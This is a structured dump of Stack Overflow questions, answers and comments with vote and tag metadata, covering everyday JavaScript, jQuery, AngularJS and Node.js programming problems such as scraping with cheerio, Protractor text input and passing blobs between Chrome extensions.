type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25612370

http://stackoverflow.com/a/25658214
downvote count: 0
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25657166
answers question: http://stackoverflow.com/q/25657166
score: 1
has comment: http://stackoverflow.com/comment/40094955
has body: You're triggering this event twice, which inverts isOpen.. and then inverts it with the second click: submitIcon.click(); so just trigger one of them and you avoid the double inversion: submitIcon.eq(0).click(); and it works Demo: http://codepen.io/anon/pen/baekD This is the simplest solution. Your code could use some refactoring.
type: AcceptedAnswer

http://stackoverflow.com/q/25658217
has title: jQuery to access DOM in a site
type: Question
tagged with: cheerio
answer count: 1
downvote count: 0
tagged with: javascript
tagged with: jquery
has body: I am trying to scrape various elements in a table from this site to teach myself scraping using node.js, cheerio and request I have trouble getting the items in the table, essentially I want to get 'rank','company' and '3-year growth' from the table. How do I do this? Based on an online tutorial, I have developed my scraping.js script to look like this: var request = require ('request'), cheerio = require ('cheerio'); request('http://www.inc.com/inc5000/index.html', function (error, response, html) { if (!error &amp;&amp; response.statusCode == 200) { var $ = cheerio.load(html); $('tr.ng-scope').each(function(i, element){ //problem probably lies here var a = $(this).get(0); console.log(a); }); } }); However, I am sure I am not getting the line with comment above right. Is there a way I can access the attributes in the table better? I notice the Xpaths are as such //*[@id="col-r"]/table/tbody/tr2/td1 -- rank //*[@id="col-r"]/table/tbody/tr2/td2/a -- name of company //*[@id="col-r"]/table/tbody/tr2/td[3] -- 3 year growth rate Just trying to figure out how to access these attributes accordingly..
tagged with: http://stackoverflow.com/tag/html
tagged with: node.js
favorite count: 0
has answer: http://stackoverflow.com/a/25658410
type: UnansweredQuestion
upvote count: 1
score: 1

geo
tags question: http://stackoverflow.com/q/25623034
tag name: geo
type: Tag

http://stackoverflow.com/comment/40016308
comment on: http://stackoverflow.com/a/25614909
type: Comment
has text: Is this how the line should read? `alert("input[name$='Mail']").val());`
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40076701
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25647946
has text: i am sorry . i did not get it. can you put the html and click event code for them??

http://stackoverflow.com/a/25669488
has body: Your function animateHalfLeft and animateTotalLeft are exactly the same except for one thing the argument activeSlide and RestOfSlides. I suggest first to create a separate function : function animateToLeft(whatToSlide){ if(step &lt; -60){ return; } div[whatToSlide].style.left = step+'em'; step -= 6; setTimeout (function(){ animateToLeft(whatToSlide);},100); } } But the function is still finishing before setTimeout ends (or even starts). Javascript is a functional language. Use it : function animateToLeft(whatToSlide, step, callback){ if(step &lt; -60){ if (typeof callback === 'function') { callback(); } return; } div[whatToSlide].style.left = step+'em'; step -= 6; setTimeout (function(){ animateToLeft(whatToSlide , step, callback); },100); } } if(activeSlideBoolean &amp;&amp; activeSlide &lt; i){ var isStarted = false; animateToLeft(activeSlide, 0, function() { if (isStarted) { return; } isStarted = true; if (RestOfSlides) { animateToLeft(RestOfSlides, 60, null); // Finishing order 3 } }); // Finishing order 1 } if(activeSlideBoolean === false &amp;&amp; RestOfSlides){ animateToLeft(RestOfSlides, 60, null); // finishing order 2 } I don't know if it works for you (don't copy/paste idiotly) but for me, it's a good start.
upvote count: 2
answers question: http://stackoverflow.com/q/25669095
accepted answer of: http://stackoverflow.com/q/25669095
score: 2
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/39969922
score: 0
type: AnswerComment
has text: You can use a linting tool, such as JSLint or JSHint to validate your code. It will save you a lot of time.
type: Comment
comment on: http://stackoverflow.com/a/25589214

http://stackoverflow.com/comment/39944910
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25575917
has text: @MelanciaUK Nothing wrong with using jQuery with Vanilla JavaScript.

http://stackoverflow.com/comment/40088607
type: QuestionComment
comment on: http://stackoverflow.com/q/25652669
has text: Yes. Because I am returning an object of Task(ActionResult) and I have tested these functions standalone and they work perfectly.
score: 0
type: Comment

http://stackoverflow.com/a/25642138
has comment: http://stackoverflow.com/comment/40067772
has comment: http://stackoverflow.com/comment/40072327
has comment: http://stackoverflow.com/comment/40066362
has comment: http://stackoverflow.com/comment/40067266
has comment: http://stackoverflow.com/comment/40065731
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40073216
has comment: http://stackoverflow.com/comment/40072572
answers question: http://stackoverflow.com/q/25641755
type: Answer
score: 1
accepted answer of: http://stackoverflow.com/q/25641755
upvote count: 1
has body: Regarding i just don't need the 'notify listeners on change'-feature here Think if that's a strong enough reason not to use an observable. Are there any actual disadvantages if you use an observable – or actual advantages if you don't? Knockout is full of observables and other, more complex things. You don't really gain anything if you "save" an observable. Use them where they provide benefit, that's what the framework is for, after all. If you have no subscribers for an observable and just use it out of convenience to hold some sort of internal state – that's a perfectly fine reason to use an observable. If you absolutely, positively must avoid an observable, you can pass the name of a viewModel property: ko.bindingHandlers.test = { init: function(element, valueAccessor, allBindings, viewModel, bindingContext) { var propertyName = valueAccessor(); $(element).mousedown(function(e) { viewModel[propertyName] = true; }).mouseup(function(e) { viewModel[propertyName] = false; }); } }; and &lt;input type="text" data-bind="test: 'flag'"&gt;
has comment: http://stackoverflow.com/comment/40070721
has comment: http://stackoverflow.com/comment/40065832
has comment: http://stackoverflow.com/comment/40073348
has comment: http://stackoverflow.com/comment/40066178
has comment: http://stackoverflow.com/comment/40067125

http://stackoverflow.com/comment/40711411
type: Comment
has text: Thank you for the suggestion. I'm fine with doing that, however my problem is that I cannot see what needs to be edited in order to show the prices.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25992336

http://stackoverflow.com/q/25700518
has title: Textarea that grows and shrinks with content to a maximum height
upvote count: 1
tagged with: css
type: AnsweredQuestion
score: 1
type: Question
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25705693
tagged with: jquery
tagged with: textarea
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40171454
has body: First of all, I know that similar questions to this have been asked here, although none of them specifically do what my title asks for. I am trying to create a simple textarea input that grows and shrinks in height according to its content, but to a maximum height only. Once the maximum height has been met, it will scroll vertically. I came across a pure CSS and HTML solution, although unfortunately it is not cross browser, and could be quite buggy. But it should give you all a good idea of what I am trying to achieve. HTML: &lt;div contenteditable&gt; type here... &lt;/div&gt; CSS: div[contenteditable] { border: 1px solid black; max-height: 100px; overflow-y: auto; overflow-x: hidden; width: 200px; } WORKING EXAMPLE Is there a solution, that does not use contenteditable, that can replicate the above example using only a text input or textarea?
favorite count: 0
accepted answer: http://stackoverflow.com/a/25705693

http://stackoverflow.com/q/25602350
has comment: http://stackoverflow.com/comment/39993563
tagged with: selenium
has comment: http://stackoverflow.com/comment/39993383
type: Question
tagged with: protractor
accepted answer: http://stackoverflow.com/a/25602912
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/39993054
has title: Sendkey() for textarea
answer count: 1
has body: I have the following html code: &lt;div&gt; &lt;textarea id="modalContentText" data-modal="home.modal" ng-model="home.modal.data.text" ng-required="true"&gt; &lt;/textarea&gt; &lt;/div&gt; And variation of test codes based on what I have read online so far: //First try it('Enter text', function () { element(by.id('modalContentText')).click(); element(by.id('modalContentText')).sendKeys('Content 1'); }); //Second try it('Enter text', function () { element(by.id('modalContentText')).clear(); element(by.id('modalContentText')).sendKeys('Content 1'); }); //Third try it('Enter text', function () { element(by.id('modalContentText')).click(); element(by.id('modalContentText')).clear(); element(by.id('modalContentText')).sendKeys('Content 1'); }); But none of the test codes is working. First try gives me "UnknownError: cannot focus element". Both second and third try give me "InvalidElementStateError: Element must be user-editable in order to clear it". Does anyone knows how is this done properly? Thanks.
has answer: http://stackoverflow.com/a/25602912
type: AnsweredQuestion

http://stackoverflow.com/comment/40161464
comment on: http://stackoverflow.com/a/25694749
has text: Thanks for that @nrabinowitz I didn't know how promises work but this is a great explanation to it.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25685886
has title: move div to coordinate on svg map
accepted answer: http://stackoverflow.com/a/25686464
type: AnsweredQuestion
type: Question
upvote count: 4
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/25686464
tagged with: javascript
tagged with: jquery
score: 4
favorite count: 0
has body: I currently have a map svg on my page Your browser does not support SVG Not when I light op certain path id's on the map I need to be able to move a div to that place on the map. I currently have the following function that returns the x and y coordinates. function getPosition(element) { segments = element.pathSegList; return { x: segments.getItem(0).x, y: segments.getItem(0).y }; } Now the problem Im facing is finding the coordinates relative to the position on the screen so I can move a div there.
tagged with: http://stackoverflow.com/tag/html
tagged with: http://stackoverflow.com/tag/svg

http://stackoverflow.com/comment/40143533
comment on: http://stackoverflow.com/a/25685593
type: AnswerComment
has text: See this example: usersRef.set({ alanisawesome: { date_of_birth: "June 23, 1912", full_name: "Alan Turing" } Instead of alaniawesome I want to have phone as my key.
score: 0
type: Comment

http://stackoverflow.com/q/25629873
has answer: http://stackoverflow.com/a/25629909
has comment: http://stackoverflow.com/comment/40043537
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40043526
accepted answer: http://stackoverflow.com/a/25629909
has body: This is my first question here. First of all, please see this bit of code. $('#btn').click(function () { if ($(this).parent().find('a').attr('href') == $("#search_list").find('a').attr('href')) { $(secondelement).css(.......) ///any operation. } }); My question is how to perform an operation on the found/matched/second element? In this case, the element 'a' in #search_list having href equal to the href of 'a' in #btn's parent.
has title: jQuery/HTML Operate on the found element
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40043718
type: Question
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40043700

http://stackoverflow.com/comment/39935731
type: QuestionComment
has text: @KenFranqueiro it is a custom widget based off the filtering select widget
comment on: http://stackoverflow.com/q/25551019
score: 0
type: Comment

http://stackoverflow.com/comment/103912713
type: QuestionComment
comment on: http://stackoverflow.com/q/25561150
has text: Is this still an issue? I can't seem to find any fix.
score: 0
type: Comment

http://stackoverflow.com/q/25630519
type: Question
has answer: http://stackoverflow.com/a/25631157
has comment: http://stackoverflow.com/comment/40044821
has title: Unable to loop through json object in nodejs
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25631157
score: 0
answer count: 1
has body: I am trying to loop though a JSON object in NODEJS. I am trying to retrieve the value of for example var value = [table][row][0][STATE] or [table][row][1][STATE] or [table][row][2][STATE] but i am getting STATE undefined error ? Is this the correct way of looping through Json object ? data = JSON.parse(buffer); for (var obj in data) { if (data.hasOwnProperty(obj)) { console.log(obj); if (obj == "table") { for (var prop in data[obj]) { if (data[obj].hasOwnProperty(prop)) { console.log(prop + ':' + data[obj][prop][0]['STATE']); console.log(prop + ':' + data[obj][prop][1]['STATE']); console.log(prop + ':' + data[obj][prop][2]['STATE']); console.log(prop + ':' + data[obj][prop][0]['COUNT']); console.log(prop + ':' + data[obj][prop][0]['COUNT']); console.log(prop + ':' + data[obj][prop][0]['COUNT']); } } } } } JSON FILE { "table":[ { "row":[ { "STATE":"A" }, { "COUNT":"107" } ] }, { "row":[ { "STATE":"I" }, { "COUNT":"92" } ] }, { "row":[ { "STATE":"R" }, { "COUNT":"2" } ] } ] }
tagged with: node.js
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/11922383
tagged with: http://stackoverflow.com/tag/json
duplicate of: http://stackoverflow.com/q/11922383

http://stackoverflow.com/q/25664550
has answer: http://stackoverflow.com/a/25664674
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40105714
tagged with: file-upload
has title: Set image uploader field using php
tagged with: php
possible better answer: http://stackoverflow.com/a/25664617
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25664674
has answer: http://stackoverflow.com/a/25664617
type: Question
has body: I am trying to save user data while on later i give the option to user to see his unsaved work.I got all the data but image upload file is missing.I i am trying to save file field like this in DB : $files = $_FILES; $__fields['file'] = json_encode($files); Then i save this field to DB.I tried to set the file field like this but no luck. $files = json_decode($row['file']); jQuery('#myimg'). val('&lt;?php echo $files-&gt;name;?&gt;'); what i am doing wrong ? I want that when customer see his unsaved data the file field is filled like he leaved it.Only file field is creating issue for me.Thanks
tagged with: javascript
tagged with: jquery
score: 0
answer count: 2

http://stackoverflow.com/q/25635082
upvote count: 3
has body: I needed to be able to calculate the difference between two days, inclusive, and display the difference. Ideally this would be via an angular filter so it can be used all over the application.
type: Question
score: 3
accepted answer: http://stackoverflow.com/a/25635083
possible better answer: http://stackoverflow.com/a/32895606
tagged with: javascript
tagged with: angularjs-scope
has answer: http://stackoverflow.com/a/25635083
answer count: 2
tagged with: angular-filters
downvote count: 0
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/32895606
has title: Calculating date difference with angular filter
linked to: http://stackoverflow.com/q/26649194
type: AnsweredQuestion

http://stackoverflow.com/a/25672546
answers question: http://stackoverflow.com/q/25651476
upvote count: 3
score: 3
has body: Unfortunately with SlickNav there is no built-in way to add a logo to the left side of the menu. The easiest way to accomplish what you want would be to use JS and prepend the logo to the div with the class slicknav_menu and float it left. http://jsfiddle.net/gadw2j4y/
has comment: http://stackoverflow.com/comment/88595074
downvote count: 0
type: Answer

http://stackoverflow.com/comment/40113614
has text: basically when I tried to apply the jquery to the list it changes the whole list including its parent even when I am just clicking on the child. What is the cause of this? I want to only highlight the child list. but parent gets changed as well
comment on: http://stackoverflow.com/a/25668240
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/39909018
has text: I believe you mean the backslash(\\), not the forward slash (/).
score: 0
comment on: http://stackoverflow.com/q/25557036
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39943233
score: 0
type: Comment
has text: which section tag you want to ignore?
comment on: http://stackoverflow.com/a/25574850
type: AnswerComment

http://stackoverflow.com/q/25695022
has body: I'm using iMacros. Inspect Element show me this: &lt;a class="avatar " title="designperks's Instagram Profile" alt="designperks's Instagram Profile" href="/app/users/ig-1451494389/designperks/photos" What I want to do is extract what's in TITLE until the apostrophe and open it in instagram.com, in this example it's designperks here is what I came up with: SET !ERRORIGNORE YES SET !EXTRACT_TEST_POPUP NO SET !TIMEOUT_STEP 2 TAB T=1 TAG POS= TYPE=A ATTR=TITLE:* EXTRACT=TITLE SET !VAR1 EVAL("var s=\"\"; s.split(\"'\",\"\"); ") SET !EXTRACT NULL SET !EXTRACT TAB OPEN TAB T=2 URL GOTO=http://instagram.com/ I'm almost done, but I know that there is a mistake here (\"'\",\"\"); ") and I can't figure it out. Many thanks!
type: Question
has comment: http://stackoverflow.com/comment/40161869
tagged with: imacros
score: -1
answer count: 2
upvote count: 0
has answer: http://stackoverflow.com/a/25695694
tagged with: javascript
has comment: http://stackoverflow.com/comment/40162032
favorite count: 0
has answer: http://stackoverflow.com/a/25695054
has comment: http://stackoverflow.com/comment/40161896
has title: Extract a part of a TITLE and open it in a url?
type: UnansweredQuestion
downvote count: 1
linked to: http://stackoverflow.com/q/25696429

http://stackoverflow.com/comment/39961101
score: 0
has text: How are you planning on "providing the postal codes"? The "best" solution is to geocode them offline and include the geographic coordinates. You can geocode them on page load, but if there are more than ~10, you will have to handle the API rate limit (the OVER_QUERY_LIMIT status response).
type: Comment
comment on: http://stackoverflow.com/q/25582982
type: QuestionComment

http://stackoverflow.com/q/25697296
tagged with: jquery
favorite count: 0
tagged with: filter
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40166148
has answer: http://stackoverflow.com/a/25697425
upvote count: 1
type: AnsweredQuestion
has body: In jQuery, let's say I have the following JavaScript: $fooBar = $('a').filter('[href*="foo"], [href*="bar"]').first() And the following HTML: Bar Foo Then $fooBar will return the bar.html link. But, in this case, because I specified that the foo selector comes first, I want foo.html to be returned instead. How can I make jQuery prioritize the results based on which selector comes first, rather than returning the results based on their location in the DOM? Or is the only, true way to do this is to run each query with only one selector at a time, in order?
score: 1
has title: Specify which jQuery selector has priority over the others when separating them with commas
accepted answer: http://stackoverflow.com/a/25697425
type: Question
tagged with: jquery-selectors
linked to: http://stackoverflow.com/q/13281897
downvote count: 0
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/40197270
score: 0
type: AnswerComment
has text: Oh, in that case, I would use `ele.style.pointerEvents = 'none'`. But to each his own
comment on: http://stackoverflow.com/a/25610442
type: Comment

http://stackoverflow.com/comment/40087493
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25654134
has text: Have a look at .each() function in jquery. Loop it over all your questions.
type: Comment

http://stackoverflow.com/a/25632187
type: AcceptedAnswer
score: 10
answers question: http://stackoverflow.com/q/25632144
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25632144
has comment: http://stackoverflow.com/comment/107290963
type: Answer
has comment: http://stackoverflow.com/comment/87447574
upvote count: 10
has body: You can use this regex: &lt;script.*?src="(.*?)" Working demo Or also something like: &lt;script.*?"(http.*?)" Working demo

http://stackoverflow.com/a/25686760
score: 0
has body: Javascript has a foreach loop like php it wasn't in the language until es5 though so it's not supported by all browsers, it won't work in ie 8 and lower. You'd be better of using a for loop in this case. Here's the foreach anyway. cars.forEach(function(value){ output += '&lt;iframe width="560" height="315" src="' + value + '" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;'; }); forEach documention Look at this es 5 compatibility table. Check the Show obsolete browsers? checkbox up top The quotes around the attribute values are ending the string early use single quotes to enclose the string instead.
answers question: http://stackoverflow.com/q/25686088
type: Answer

http://stackoverflow.com/q/25664058
has comment: http://stackoverflow.com/comment/40680866
tagged with: javascript
score: 0
has body: I'm working on a cross-device app with AngularJS and Cordova, but I'm having trouble dealing with CSS of form elements. I need to use a basic select, multiple select, input with date and input with time in my form. The problems I'm having are: Multiple select - how to add a placeholder text and how to change the text that displays after i select multiple options (ie. "Please select your options" -> "Option 1, Option 5" or -> "4 Options selected") &lt;input&gt; with type="date" and type="time" - I'm unable to change their CSS on Android devices (line-height, padding, width, height, etc.). Whatever I do they seem to stay "default" Also worth mentioning I'd like the &lt;select&gt; to call native select. I don't have problem with dynamically changing text, but with it's placement. I googled a bit and jquery mobile has this jQueryMobile which has everything I need, but I don't want to load whole jQuery mobile just for this + if I load it, I'll have to write a lot of additional CSS because jQuery mobiles CSS is quite greedy.
answer count: 1
tagged with: jquery
tagged with: angularjs
type: UnansweredQuestion
tagged with: css
tagged with: cordova
has title: How to deal with forms: and in Cordova/Phonegap
has answer: http://stackoverflow.com/a/25671990
type: Question

http://stackoverflow.com/a/25651542
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40082696
has comment: http://stackoverflow.com/comment/40082525
has comment: http://stackoverflow.com/comment/40083021
type: Answer
has comment: http://stackoverflow.com/comment/40082951
answers question: http://stackoverflow.com/q/25651503
has body: You're having wrong id: In html img's id is picStar1 not imgStar1, so change that... Plus, you should not use the same id for multiple times. Id should be unique. To solve: Just change the img id in html picStar1 with imgStar1 and should work fine.
has comment: http://stackoverflow.com/comment/40083046
has comment: http://stackoverflow.com/comment/40082996
upvote count: 1
has comment: http://stackoverflow.com/comment/40082583
has comment: http://stackoverflow.com/comment/40086642
score: 1
has comment: http://stackoverflow.com/comment/40084882
accepted answer of: http://stackoverflow.com/q/25651503

http://stackoverflow.com/comment/39947966
type: QuestionComment
has text: Your text is being kicked out of the table since it's semantically incorrect.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25577571

http://stackoverflow.com/comment/40175314
comment on: http://stackoverflow.com/a/25593458
has text: If it is working in a plunker, it means, there would be some different relative pathes (e.g. templateUrl from "tpl.some.html" in plunker, must be "views/some.html")... this is most often issue. Glad to see that you've made it. The `ui-router` is simply the best architecture I've seen around the angularjs ... good luck
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40151466
type: Comment
type: QuestionComment
has text: The event is never fired. I never see the log in the console. so guessing it is not firing.
comment on: http://stackoverflow.com/q/25689481
score: 0

http://stackoverflow.com/comment/40181613
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25705879
score: 0
has text: It looks to me like you're typing into a nodejs prompt or the debugger (not into stdin) and it's trying to interpret what you typed as a JS statement, rather than sending that text to your process.

http://stackoverflow.com/q/25572798
tagged with: facebook
upvote count: 1
downvote count: 1
has title: Remove certain facebook posts with javascript
type: Question
has body: I'm totally new to javascript. I'm trying to hide certain facebook posts. I found this code: var posts = document.getElementsByClassName("uiStreamMessage"); for(var i=0; i&lt;posts.length; i++){ if(posts[i].innerHTML.indexOf("test") != -1){ posts[i].parentNode.removeChild(posts[i]) }; } So, every post which contains the string 'test' is supposed to be hidden, right ? It doesn't work for me. Maybe facebook changed it's class names and "uiStreamMessage" isn't correct anymore ? I hope you guys can help me ! Excuse me for my bad english ! Thanks :)
tagged with: javascript
has answer: http://stackoverflow.com/a/25572891
score: 0
answer count: 1
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/25725855
answers question: http://stackoverflow.com/q/25589562
upvote count: 2
score: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40239935
has body: One way to solve this problem (control the hue without needing the program to be in the foreground) would be to split the hue control and keyboard shortcuts to different apps: I would simply write a command line tool eg. with node, which takes as an argument the command to run. Then I would create OS level keyboard shortcuts for the command. Eg. I would configure Command-Shift-+ to call huecontrol increasebri. Huecontrol would do is thing and exit.
has comment: http://stackoverflow.com/comment/40244674
has comment: http://stackoverflow.com/comment/40226926
has comment: http://stackoverflow.com/comment/40244933
type: Answer

http://stackoverflow.com/q/25597054
has title: How to unsubscribe from the collection?
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25597069
tagged with: meteor
possible better answer: http://stackoverflow.com/a/25597319
score: 2
has answer: http://stackoverflow.com/a/25597319
upvote count: 2
has comment: http://stackoverflow.com/comment/39988119
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25597069
has body: My publications: Meteor.publish('items', function() { return Items.find({}, {skip: randomNumber, limit: 100}); }); My subscription code happening when a button is clicked (in templates.event) Meteor.subscribe('items'); Items.find().fetch(); However, the problem is that items isn't refreshed with the new data, but new data is appended to the old list instead. What can I do to unsubscribe the old data?

http://stackoverflow.com/q/25635395
favorite count: 0
has title: ExecJS::RuntimeError in Listings#index error
tagged with: node.js
tagged with: ruby
has answer: http://stackoverflow.com/a/25635975
upvote count: 3
has comment: http://stackoverflow.com/comment/40054350
has comment: http://stackoverflow.com/comment/40054473
tagged with: coffeescript
tagged with: ruby-on-rails
accepted answer: http://stackoverflow.com/a/25635975
has body: I'm receiving this ExecJS error message when I open my localhost, I don't know why, some help would be amazing. I got this on my localhost Showing /.../conektec/app/views/layouts/application.html.erb where line #6 raised: SyntaxError: [stdin]:6:16: unexpected newline (in /.../conektec/app/assets/javascripts/orders.js.coffee) ActionView::Template::Error (SyntaxError: [stdin]:2:73: unmatched ) (in /Users/hbendev/startups/conektec/conektec/app/assets/javascripts/orders.js.coffee)): 3: &lt;head&gt; 4: &lt;title&gt;Conektec&lt;/title&gt; 5: &lt;%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track' =&gt; true %&gt; 6: &lt;%= javascript_include_tag 'application', 'data-turbolinks-track' =&gt; true %&gt; 7: &lt;%= javascript_include_tag "https://js.stripe.com/v2/" %&gt; 8: &lt;%= csrf_meta_tags %&gt; 9: &lt;%= tag :meta, :name =&gt; "stripe-key", :content =&gt; ENV["STRIPE_PUBLIC_KEY"] %&gt; Here is my orders.js.coffee file jQuery -&gt; Stripe.setPublishableKey($('meta[name="stripe-key"]').attr('content')) payment.setupForm() payment = setupForm: -&gt; $('#new_order').submit -&gt; $('input[type=submit]').attr('disabled', true) Stripe.card.createToken($('#new_order'), payment.handleStripeResponse) false handleStripeResponse: (status, response) -&gt; if status == 200 alert(response.id) else alert(response.error.message) Here's my application.html.erb file &lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Conektec&lt;/title&gt; &lt;%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track' =&gt; true %&gt; &lt;%= javascript_include_tag 'application', 'data-turbolinks-track' =&gt; true %&gt; &lt;%= javascript_include_tag "https://js.stripe.com/v2/" %&gt; &lt;%= csrf_meta_tags %&gt; &lt;%= tag :meta, :name =&gt; "stripe-key", :content =&gt; ENV["STRIPE_PUBLIC_KEY"] %&gt; &lt;/head&gt; &lt;body&gt; &lt;%= render 'layouts/header' %&gt; &lt;div class="container"&gt; &lt;% flash.each do |name, msg| %&gt; &lt;% if msg.is_a?(String) %&…
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/40054463
type: Question
answer count: 1
downvote count: 0
tagged with: javascript

http://stackoverflow.com/q/25704556
has title: How to detect if a link already is in the user's bookmarks?
tagged with: greasemonkey
tagged with: firefox
tagged with: javascript
linked to: http://stackoverflow.com/q/7290959
tagged with: bookmarks
type: AnsweredQuestion
downvote count: 0
score: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/25707451
linked to: http://stackoverflow.com/q/4776461
upvote count: 1
answer count: 1
has body: Is it possible to determine from a Greasemonkey script if a link is already in the bookmarks or not? E. g. if I want to mark all links on the page which are bookmarked. Also, how can I find the name of the folder where this bookmark is stored?
accepted answer: http://stackoverflow.com/a/25707451

http://stackoverflow.com/a/25557559
answers question: http://stackoverflow.com/q/25557042
score: 0
has body: I think it's a bad idea. If you need to use a selection in several places the save the selection to a variable. var mySelection = $(#myId). it will be garbage collected when its no longer needed.
type: Answer
has comment: http://stackoverflow.com/comment/39936165

http://stackoverflow.com/q/25658786
type: Question
tagged with: javascript
score: 4
has answer: http://stackoverflow.com/a/42170829
answer count: 2
tagged with: cachefactory
has body: I am using the $cacheFactory to store a language JSON file for the app, and i run a factory method every new route like this: index.js $routeProvider .when('/',{ 'templateUrl':'views/home/index.html', 'controller':'Home', 'resolve': { 'onEnter': function ($rootScope, langFactory) { return langFactory.getLangFile($rootScope.lang.appLang); } } }) .when('/auth/login',{ 'templateUrl':'views/auth/login.html', 'controller':'AuthLogin', 'resolve': { 'onEnter': function ($rootScope, langFactory) { return langFactory.getLangFile($rootScope.lang.appLang); } } }) factories.js .factory('langFactory', ['$rootScope', '$window', '$http', '$cacheFactory', '$q', function ($rootScope, $window, $http, $cacheFactory, $q) { var getLangFile = function (langCode) { var deferred = $q.defer() , cache = $cacheFactory('langCache'); if (!!!cache.get('cache' + $rootScope.lang.appLang)) { $http.get(langCode + '-langFile-to-be-REMOVED.json').success(function (response) { cache.put('cache' + $rootScope.lang.appLang, response); deferred.resolve(); }).error(function (err) { $window.console.error('Unable to retrieve app language: ' + err); deferred.reject(err); }); } else { deferred.resolve(); } return deferred.promise; }; return { 'getLangFile':getLangFile }; }]) On first page load it works , then if i browse, without refreshing, to auth/login i get a console error: [$cacheFactory:iid] CacheId 'langCache' is already taken! Seems like (since i call the factory method on every route) it cant use the same id !? I actually dont know what to do to fix this, any help appriciated, thanks.
favorite count: 0
has title: Angularjs cacheFactory : id is already taken
tagged with: angularjs
upvote count: 4
possible better answer: http://stackoverflow.com/a/42170829
type: AnsweredQuestion
downvote count: 0
tagged with: factories
has answer: http://stackoverflow.com/a/25682004
accepted answer: http://stackoverflow.com/a/25682004

http://stackoverflow.com/a/26409196
downvote count: 0
has comment: http://stackoverflow.com/comment/119565421
has comment: http://stackoverflow.com/comment/60384105
type: Answer
score: 12
answers question: http://stackoverflow.com/q/25668998
accepted answer of: http://stackoverflow.com/q/25668998
upvote count: 12
has body: Thanks for all your help guys. I found the solution to be to convert the blob into a binary string on the extension and then send the string over to the app using chrome's message passing API. On the app, I then did what Francois suggested to convert the binary string back a blob. I had tried this solution before but I had not worked because I was using the following code on the app: blob = new Blob([blobAsBinString], {type: mimeType}); That code may work for text files or simple strings, but it fails for images (perhaps due to character encoding issues). That's where I was going insane. The solution is to use what Francois provided since the beginning: var bytes = new Uint8Array(blobAsBinString.length); for (var i=0; i&lt;bytes.length; i++) { bytes[i] = blobAsBinString.charCodeAt(i); } blob = new Blob([bytes], {type: mimeString}); That code retrains the integrity of the binary string and the blob is recreated properly on the app. Now I also incorporated something I found suggested by some of you here and RobW elsewhere, which is to split the blob into chunks and send it over like that, in case the blob is too large. The entire solution is below: ON THE EXTENSION: function sendBlobToApp() { // read the blob in chunks/chunks and send it to the app // Note: I crashed the app using 1 KB chunks. 1 MB chunks work just fine. // I decided to use 256 KB as that seems neither too big nor too small var CHUNK_SIZE = 256 * 1024; var start = 0; var stop = CHUNK_SIZE; var remainder = blob.size % CHUNK_SIZE; var chunks = Math.floor(blob.size / CHUNK_SIZE); var chunkIndex = 0; if (remainder != 0) chunks = chunks + 1; var fr = new FileReader(); fr.onload = function() { var message = { blobAsText: fr.result, mimeString: mimeString, chunks: chunks }; // APP_ID was obtained elsewhere chrome.runtime.sendMessage(APP_ID, message, function(result) { if (chrome.runtime.lastError) { // Handle error, e.g. app not installed // appendLog is defined elsewhere appendLog("could not send message to…
type: AcceptedAnswer

http://stackoverflow.com/comment/39899349
has text: use a class eg. ".tag", not "#tag" because you cant have multiple elements with the same id.
type: Comment
comment on: http://stackoverflow.com/a/25551638
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39941163
comment on: http://stackoverflow.com/a/25573779
score: 0
type: AnswerComment
type: Comment
has text: You only need to wrap the team variables into the object, so in your original post you would only wrap fsu, bama and oregon. If you have data for more teams in your actual code, you need to do the same for each of them. I will edited my post to show what it would look like with fsu and bama.

http://stackoverflow.com/comment/40006528
has text: The container one, there are several inner divs inside which are produced from the database.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25609506

http://stackoverflow.com/q/25694309
upvote count: 2
score: 1
has comment: http://stackoverflow.com/comment/40161435
linked to: http://stackoverflow.com/q/15694567
downvote count: 1
type: Question
tagged with: javascript
